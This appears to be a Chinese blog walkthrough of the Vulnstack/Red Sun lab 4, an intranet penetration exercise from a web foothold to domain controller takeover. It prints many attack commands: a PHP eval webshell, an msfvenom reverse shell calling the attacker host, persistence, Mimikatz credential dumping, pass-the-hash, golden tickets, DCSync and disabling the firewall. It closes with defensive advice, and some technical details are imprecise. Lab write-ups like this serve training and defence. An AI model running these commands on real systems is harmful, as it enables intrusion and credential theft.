红日靶场4实战复盘:三层内网渗透与ATTCK攻击链详解

📅 发布时间:2026/7/4 23:13:04 👁️ 浏览次数:
红日靶场4实战复盘:三层内网渗透与ATTCK攻击链详解
1. 项目概述与核心价值最近在复盘内网渗透的实战技能发现很多朋友在理论学习后面对一个完整、多层的靶场环境时依然会感到无从下手或者流程混乱。这正是“红日靶场”系列特别是Vulnstack/ATTCK红队评估靶场4的价值所在。它不是一个简单的单点漏洞利用而是一个高度模拟真实企业内网环境的“三层靶场”涵盖了从外网信息收集、Web漏洞利用到内网横向移动、权限维持最终攻陷域控的完整攻击链。这个靶场4可以说是检验一个渗透测试人员是否具备红队思维和系统化作战能力的“试金石”。我花了几天时间从零开始完整地打了一遍这个靶场过程中踩了不少坑也总结出一些非常规但高效的思路。这篇文章我就以一个“攻击者”的视角带你完整走一遍红日靶场4的渗透流程。我不会只给你命令和截图更重要的是拆解每一步背后的“为什么”——为什么要这么打点为什么选择这个工具遇到问题该怎么排查这些实战中的决策逻辑才是真正值钱的经验。无论你是刚入门内网渗透的新手还是想梳理自己知识体系的老手相信这篇详细的流程复盘都能给你带来启发。2. 靶场环境搭建与拓扑理解2.1 靶场拓扑与核心目标解析在动手之前我们必须像真正的攻击者一样先搞清楚“战场”的全貌。红日靶场4模拟的是一个典型的中小型企业网络环境其核心拓扑可以抽象为三层外网区 (DMZ/边界)这里部署着对外提供服务的Web服务器Win7。它是我们唯一的初始入口点通常暴露在公网上存在一个或多个Web应用漏洞。内网办公区这是企业员工日常工作的网络区域包含一台Windows Server 2012的域成员服务器。这台服务器通常承载着内部应用如OA、文件共享并且已经加入了公司的域环境。核心管理区这是整个网络最核心、防护最严密的区域部署着域控制器Domain Controller, DC通常是一台Windows Server 2008或2012。它掌管着整个域内所有用户、计算机的账号密码和权限策略是我们的终极目标。这三层网络之间通常通过防火墙或路由器进行隔离办公区可以访问核心区但外网区无法直接访问内网。我们的攻击路径非常清晰外网Web服务器 - 内网域成员服务器 - 核心域控制器。整个流程完美契合了ATTCK框架中的初始访问、执行、持久化、权限提升、防御规避、凭证访问、发现、横向移动、收集、命令与控制等多个战术阶段。注意在搭建靶场时请务必使用VMware或VirtualBox的“仅主机(Host-Only)”网络模式来模拟内网环境。将三台虚拟机Win7, Win2012, Win2008的网卡均设置为同一Host-Only网络如VMnet1并确保它们能互相ping通。Win7需要额外添加一块NAT网卡用于模拟外网访问。这是后续所有内网通信的基础配置错误会导致攻击链中断。2.2 攻击机环境与工具准备工欲善其事必先利其器。一个顺手且功能齐全的攻击机环境至关重要。我推荐使用Kali Linux作为主攻击平台它集成了我们所需的大部分工具。核心工具清单与作用信息收集与扫描Nmap端口扫描、服务探测、操作系统识别的瑞士军刀。Dirb/GobusterWeb目录爆破寻找隐藏的管理后台、备份文件等。Searchsploit本地漏洞库查询快速匹配已知漏洞。漏洞利用与突破Metasploit Framework (msf)综合渗透框架包含漏洞利用、Payload生成、会话管理等功能。Sqlmap自动化SQL注入检测与利用工具。Burp SuiteWeb代理神器用于拦截、修改HTTP/HTTPS请求进行手动漏洞测试。内网横向移动MimikatzWindows密码抓取神器用于从内存中提取明文密码、哈希。Impacket套件Python编写的用于处理网络协议的强大工具集包含psexec.py,smbexec.py,wmiexec.py等用于在获取凭证后的横向移动。Cobalt Strike/MSF的meterpreter用于建立稳定的C2通道进行内网代理、信息收集和横向移动。代理与隧道FRP/Ngrok/Neo-reGeorg用于在受限网络环境下建立隧道将内网流量代理出来。Proxychains让所有命令行工具通过指定的代理如SOCKS进行网络请求。在开始前请确保你的Kali虚拟机网络适配器也设置为与靶机相同的Host-Only网络VMnet1这样攻击机才能与内网靶机直接通信。同时为Kali配置一个静态IP如192.168.52.10会方便很多避免IP变化导致配置失效。3. 第一阶段外网突破与立足点获取3.1 信息收集与漏洞发现我们的攻击起点是外网的Win7服务器。假设我们通过某种方式如子域名爆破、端口扫描已经知道了它的IP是192.168.111.129这是NAT网卡的IP模拟公网IP。首先进行全面的端口扫描了解目标开放了哪些服务。nmap -sS -sV -O -p- 192.168.111.129-sS: SYN半开放扫描速度快且隐蔽。-sV: 探测服务版本。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果很可能显示开放了80端口HTTP和3389端口RDP。3389暂时不用管因为通常有强密码。我们的重点在80端口的Web服务。访问http://192.168.111.129发现是一个常见的CMS如Yxcms、PHPStudy探针等。这时需要深入信息收集目录爆破使用gobuster或dirb寻找后台、上传点、配置文件等。gobuster dir -u http://192.168.111.129 -w /usr/share/wordlists/dirb/common.txt -x php,html,bak指纹识别使用whatweb或浏览器插件如Wappalyzer识别CMS类型和版本。whatweb http://192.168.111.129漏洞搜索根据识别出的CMS和版本使用searchsploit搜索公开漏洞。searchsploit Yxcms假设我们发现目标使用的是Yxcms并且存在一个已知的后台登录绕过漏洞。通过构造特定的URL如/index.php?radmin/index/login并附加特定参数我们可以直接进入后台管理页面无需密码。3.2 漏洞利用与Webshell上传进入后台后下一步就是获取一个Webshell从而在服务器上执行命令。常见的路径是寻找文件上传功能。寻找上传点在后台寻找“模板管理”、“文件管理”、“插件上传”等功能模块。绕过上传限制很多CMS会对上传的文件后缀、内容进行检测。后缀绕过尝试shell.php.jpg,shell.pHp,shell.php5等。内容绕过在图片马中插入一句话木马或者利用解析漏洞如IIS6.0的目录解析*.asp/。配合文件包含如果存在本地文件包含漏洞上传一个内容为恶意代码的文本文件再通过包含来执行。上传Webshell成功绕过后上传一个一句话木马文件如shell.php内容为?php eval($_POST[cmd]);?。连接验证使用中国菜刀、蚁剑或curl命令连接Webshell验证是否成功。curl -X POST http://192.168.111.129/uploads/shell.php -d cmdwhoami如果返回了服务器用户名如nt authority\system或iis apppool\defaultapppool则证明Webshell生效我们获得了服务器的命令执行权限。实操心得上传Webshell时务必先确认网站的绝对路径。可以通过Webshell执行echo __FILE__;PHP或查看错误信息来获取。知道路径后可以尝试写入更稳定的后门或直接向启动目录写入脚本。3.3 权限提升与持久化入口建立获得Webshell通常只是获得了Web服务进程的权限如IIS的iis apppool或 Apache的www-data权限较低。我们需要将其提升为系统权限并建立一个更稳定、隐蔽的持久化后门。信息收集本地通过Webshell执行命令收集系统信息。# 查看系统信息 systeminfo # 查看当前用户权限 whoami /priv # 查看网络连接和共享 netstat -ano net share # 查看进程列表 tasklist提权尝试根据系统信息如系统版本、补丁号寻找缺失的补丁对应的本地提权漏洞。例如如果系统是Windows 7 SP1且未打某些旧补丁可以尝试MS16-032,MS16-014等。可以使用Windows-Exploit-Suggester脚本或上传预编译的提权EXP进行尝试。在Kali上生成一个反向Shell的Payload如msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.52.10 LPORT4444 -f exe shell.exe通过Webshell上传到目标。在Kali上启动msfconsole监听对应端口。通过Webshell执行提权EXP并让EXP启动我们的shell.exe。如果成功我们在MSF里获得的将是一个SYSTEM权限的meterpreter会话。建立持久化通道获得高权限后立即建立一个更稳定的C2通道。使用MSF的meterpreter会话非常方便。# 在meterpreter会话中 run persistence -X -i 30 -p 443 -r 192.168.52.10-X: 开机自启。-i 30: 每30秒尝试连接一次。-p -r: 指定连接回连的端口和IP。 这样即使Webshell被清理我们依然能通过这个持久化后门控制服务器。至此我们已经在外网Win7服务器上站稳了脚跟获得了系统权限并建立了稳定的控制通道。这台服务器将成为我们进入内网的“跳板”。4. 第二阶段内网横向移动与信息搜集4.1 内网探测与主机发现现在我们身处Win7跳板机内部。首先要做的就是摸清内网的环境。打开meterpreter的shell或者直接通过Webshell执行命令。查看网络配置ipconfig /all你会发现除了外网IP如192.168.111.129还有一个内网IP如192.168.52.143。记下这个内网网段192.168.52.0/24。ARP扫描发现存活主机由于防火墙可能禁用了ICMP使用ARP扫描更可靠。# 使用meterpreter的arp_scanner模块 run arp_scanner -r 192.168.52.0/24或者上传nmapfor Windows 版进行扫描。 扫描结果可能会发现另外两台主机192.168.52.141域成员服务器和192.168.52.138域控制器。端口扫描与服务识别对发现的存活主机进行精细扫描。# 在Kali上通过meterpreter的socks4a代理进行扫描 # 首先在msf中配置路由和代理 msf6 use auxiliary/server/socks_proxy msf6 set SRVPORT 1080 msf6 run # 然后配置proxychains # 编辑 /etc/proxychains4.conf最后一行加上socks4 127.0.0.1 1080 # 使用proxychains调用nmap扫描内网主机注意nmap的某些扫描类型不适用于代理 proxychains nmap -sT -Pn -n 192.168.52.141-sT是TCP全连接扫描兼容代理。-Pn跳过主机发现。重点扫描常见端口135, 139, 445, 3389, 80, 443等。4.2 凭证获取与哈希传递攻击在内网中最有效的横向移动手段就是利用获取到的凭证。我们的首要目标是从当前已控制的Win7主机上获取密码。使用Mimikatz抓取密码在meterpreter会话中加载kiwi扩展Mimikatz的MSF版本。meterpreter load kiwi meterpreter creds_all这个命令会尝试从内存中提取所有可用的明文密码和哈希。这是最关键的一步你可能会得到本地管理员账号的密码哈希NTLM Hash甚至可能抓到域用户登录到这台机器时留下的明文密码或哈希。分析获取的凭证如果抓到的是本地管理员哈希我们可以尝试用它在同一台机器上进行哈希传递但更常用于在其他未打补丁的机器上进行横向移动如果它们使用相同的本地管理员密码。如果抓到的是域用户凭证格式为DOMAIN\User那价值就大了。这意味我们可以尝试用这个域用户的身份去访问域内的其他机器比如域成员服务器192.168.52.141。哈希传递攻击假设我们抓取到了域用户REDTEAM\zhangsan的NTLM哈希aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4。我们可以使用Impacket工具包中的psexec.py进行横向移动。# 在Kali上通过代理执行 proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 REDTEAM/zhangsan192.168.52.141如果成功我们将获得一个目标主机192.168.52.141的SYSTEM权限的CMD shell。这是因为psexec服务默认以SYSTEM权限运行。注意事项哈希传递攻击成功的前提是目标主机141的445端口开放且防火墙允许相关流量。同时目标系统需要未安装KB2871997补丁该补票默认禁止本地管理员账户的远程哈希传递但域管理员账户不受影响。在实际中管理员常会为多台机器设置相同的本地管理员密码这也是一个常见的攻击面。4.3 多种横向移动手段尝试除了经典的psexec内网横向移动还有很多其他方式需要根据目标环境灵活运用。WMI执行利用WMIWindows管理规范远程执行命令比psexec更隐蔽不落地文件。proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 REDTEAM/zhangsan192.168.52.141 whoami计划任务通过创建远程计划任务来执行Payload。# 使用meterpreter的psexec模块其底层可能使用计划任务 msf6 use exploit/windows/smb/psexec msf6 set RHOSTS 192.168.52.141 msf6 set SMBUser zhangsan msf6 set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 msf6 set PAYLOAD windows/meterpreter/bind_tcp msf6 exploitSMBExec另一种基于SMB的远程命令执行方式。proxychains python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 REDTEAM/zhangsan192.168.52.141WinRM如果目标主机WinRM服务默认监听5985端口开启了WinRM且我们的用户在远程管理用户组中可以直接使用WinRM连接。proxychains evil-winrm -i 192.168.52.141 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4通过以上一种或多种方法我们成功从外网Win7跳板机横向移动到了内网的域成员服务器192.168.52.141上并获得了高权限。现在我们站在了更靠近域控的位置。5. 第三阶段域内渗透与域控攻陷5.1 域内信息深度搜集控制域成员服务器后我们获得了在域内执行查询的权限。现在是时候深入搜集域环境信息了目标是找到通往域控的路径。获取域信息# 查看当前域 net config workstation # 查看域控制器 nltest /dclist:REDTEAM # 或使用 net group Domain Controllers /domain枚举域用户和组# 查看所有域用户 net user /domain # 查看指定域用户详情 net user zhangsan /domain # 查看域管理员组 net group Domain Admins /domain查找共享和敏感文件# 查看域内共享 net view \\dc01 /all # 或者使用PowerShell脚本如PowerView进行更全面的枚举 # 上传并执行 PowerView.ps1 Import-Module .\PowerView.ps1 Get-NetShare -ComputerName DC01检查信任关系查看是否有其他域信任本域这可能提供额外的攻击路径。nltest /domain_trusts通过这些命令我们可以明确域控制器的名称如DC01.REDTEAM.LOCAL和IP192.168.52.138并识别出域管理员账户。5.2 权限提升与黄金票据攻击要攻陷域控最直接的思路就是获得域管理员权限。如果我们在域成员服务器上抓取到的凭证只是普通域用户就需要进行权限提升。在域成员服务器上再次抓取凭证在141服务器上运行Mimikatz可能会抓到登录到此服务器的域管理员密码哈希因为管理员可能会远程登录进行维护。# 在141的meterpreter会话中 meterpreter load kiwi meterpreter lsa_dump_secrets meterpreter golden_ticket_create重点关注输出中的krbtgt用户的哈希。krbtgt是域控上用于签发Kerberos票据的专用账户其哈希是域内的“万能钥匙”。黄金票据攻击如果我们获取到了krbtgt的NTLM哈希就可以伪造任意用户的TGT票据授予票据包括域管理员。这是最强大的域持久化手段之一。所需信息域名REDTEAM.LOCAL域SID可以通过whoami /user或wmic useraccount get name,sid获取去掉末尾的-500管理员RID即为域SID。krbtgt的NTLM哈希。要伪造的用户名如administrator。使用Mimikatz生成黄金票据mimikatz # kerberos::golden /domain:REDTEAM.LOCAL /sid:S-1-5-21-123456789-987654321-555555555 /rc4:【krbtgt的NTLM哈希】 /user:administrator /ptt/ptt参数表示将生成的票据直接注入当前会话的内存。验证与使用票据注入后使用klist查看当前票据。然后就可以直接访问域控的共享例如dir \\DC01.REDTEAM.LOCAL\c$如果成功列出目录说明黄金票据生效我们已拥有域管理员权限。5.3 最终攻陷域控制器获得域管理员权限后攻陷域控就变得轻而易举。有多种方式可以获取域控的完全控制权。PsExec直接获取Shell使用Impacket的psexec.py这次使用域管理员账户。proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py REDTEAM/administrator192.168.52.138系统会提示输入密码因为我们有黄金票据在内存中Kerberos认证会自动通过我们直接回车或输入任意密码即可实际认证使用的是票据。使用MSF的psexec模块同样在MSF中设置域管理员账号利用已有的路由和代理直接攻击域控。msf6 use exploit/windows/smb/psexec msf6 set RHOSTS 192.168.52.138 msf6 set SMBUser administrator msf6 set SMBDomain REDTEAM msf6 set SMBPass 【空或任意值因为使用票据】 msf6 exploitDCSync攻击如果我们只想获取域内所有用户的哈希而不需要立即获得Shell可以使用Mimikatz的DCSync功能。这需要域管理员或同等权限。在已控制的主机上执行mimikatz # lsadump::dcsync /domain:REDTEAM.LOCAL /user:Administrator mimikatz # lsadump::dcsync /domain:REDTEAM.LOCAL /all /csv这个命令会模拟域控制器从真正的DC同步数据从而导出指定用户或所有用户的哈希。拿到域管理员哈希后就可以在任何地方进行哈希传递攻击了。成功获取域控制器的Shell后我们便完全控制了整个域环境。可以创建后门账户、部署持久化后门、窃取敏感数据等。至此红日靶场4的三层渗透实战目标已全部达成。6. 常见问题、排查技巧与防御思考6.1 实战中常见问题与解决方案在复现过程中你几乎一定会遇到下面这些问题。这里是我的排查思路和解决方法问题1Webshell上传成功但无法连接。排查首先检查Webshell路径是否正确。其次使用curl或浏览器直接访问Webshell地址查看是否有错误信息如500错误。可能是安全软件拦截、PHP函数被禁用如eval,system或网站使用了重写规则。解决尝试使用其他一句话木马变形如?php assert($_POST[cmd]);?。或者尝试图片马配合文件包含漏洞。检查php.ini配置如果可读看disable_functions列表。问题2Mimikatz抓不到密码或哈希。排查首先确认权限是否为SYSTEM。在meterpreter中用getuid查看。非SYSTEM权限无法抓取。其次目标系统可能打了补丁如KB2871997或启用了Credential Guard等防护措施阻止从内存中读取明文密码。解决尝试使用kiwi模块的其他命令如lsa_dump_sam尝试从SAM数据库提取本地哈希或lsa_dump_secrets尝试获取LSA机密。也可以尝试直接上传Procdump将lsass进程内存dump下来下载到本地用Mimikatz分析。问题3横向移动时PsExec/WMIExec连接失败。排查网络连通性确保从跳板机可以ping通目标IP。端口开放确保目标主机的445端口SMB或135端口WMI开放。可使用telnet或Test-NetConnection(PowerShell)测试。防火墙目标主机防火墙可能阻止了相关端口。如果权限足够可以尝试用命令关闭防火墙netsh advfirewall set allprofiles state off。用户权限使用的账户对目标主机是否有管理员权限尝试使用net use \\目标IP\IPC$ “密码” /user:”用户名”建立空连接测试。补丁问题目标主机可能安装了防止Pass-The-Hash的补丁。解决尝试其他横向移动方法如计划任务schtasks、SC服务控制、WinRM、或者利用MS17-010永恒之蓝等漏洞。问题4代理不稳定或工具无法通过代理工作。排查MSF的socks_proxy模块有时不稳定。检查代理服务是否正常启动proxychains配置是否正确。解决考虑使用更稳定的隧道工具如FRP。在跳板机上传FRP客户端在攻击机运行FRP服务端将跳板机的流量稳定地转发出来。或者使用reGeorg等HTTP隧道工具。6.2 从攻击者视角看防御要点打完整个靶场反过来思考防御会对企业安全建设有更深刻的理解边界防御强化Web应用安全WAF、代码审计、定期漏洞扫描减少外网突破点。严格限制对外开放的端口和服务。权限最小化Web服务器、应用服务器坚决不使用高权限账户运行。域内用户遵循最小权限原则普通域用户绝不应拥有本地管理员权限。补丁与加固及时安装系统补丁尤其是针对Pass-The-Hash、MS17-010等内网横向移动漏洞的补丁。启用Windows Defender Credential Guard。网络分段与监控严格进行网络分区隔离如Web区、办公区、核心区设置访问控制列表。部署IDS/IPS和全流量分析设备监控异常的SMB、WMI、PsExec等横向移动行为。凭证保护强制使用强密码推广双因素认证。限制域管理员登录到普通工作站和服务器。定期修改krbtgt账户密码至少每180天修改两次。日志审计与威胁狩猎集中收集和分析Windows安全日志、网络设备日志。建立针对ATTCK中TTPs的威胁狩猎场景主动发现攻击痕迹。这个靶场的价值就在于它像一面镜子既照出了攻击者的完整手法也清晰地映射出防御体系的每一个薄弱环节。通过亲手走完攻击链你才能真正理解“防御”这个词在每个环节的具体含义。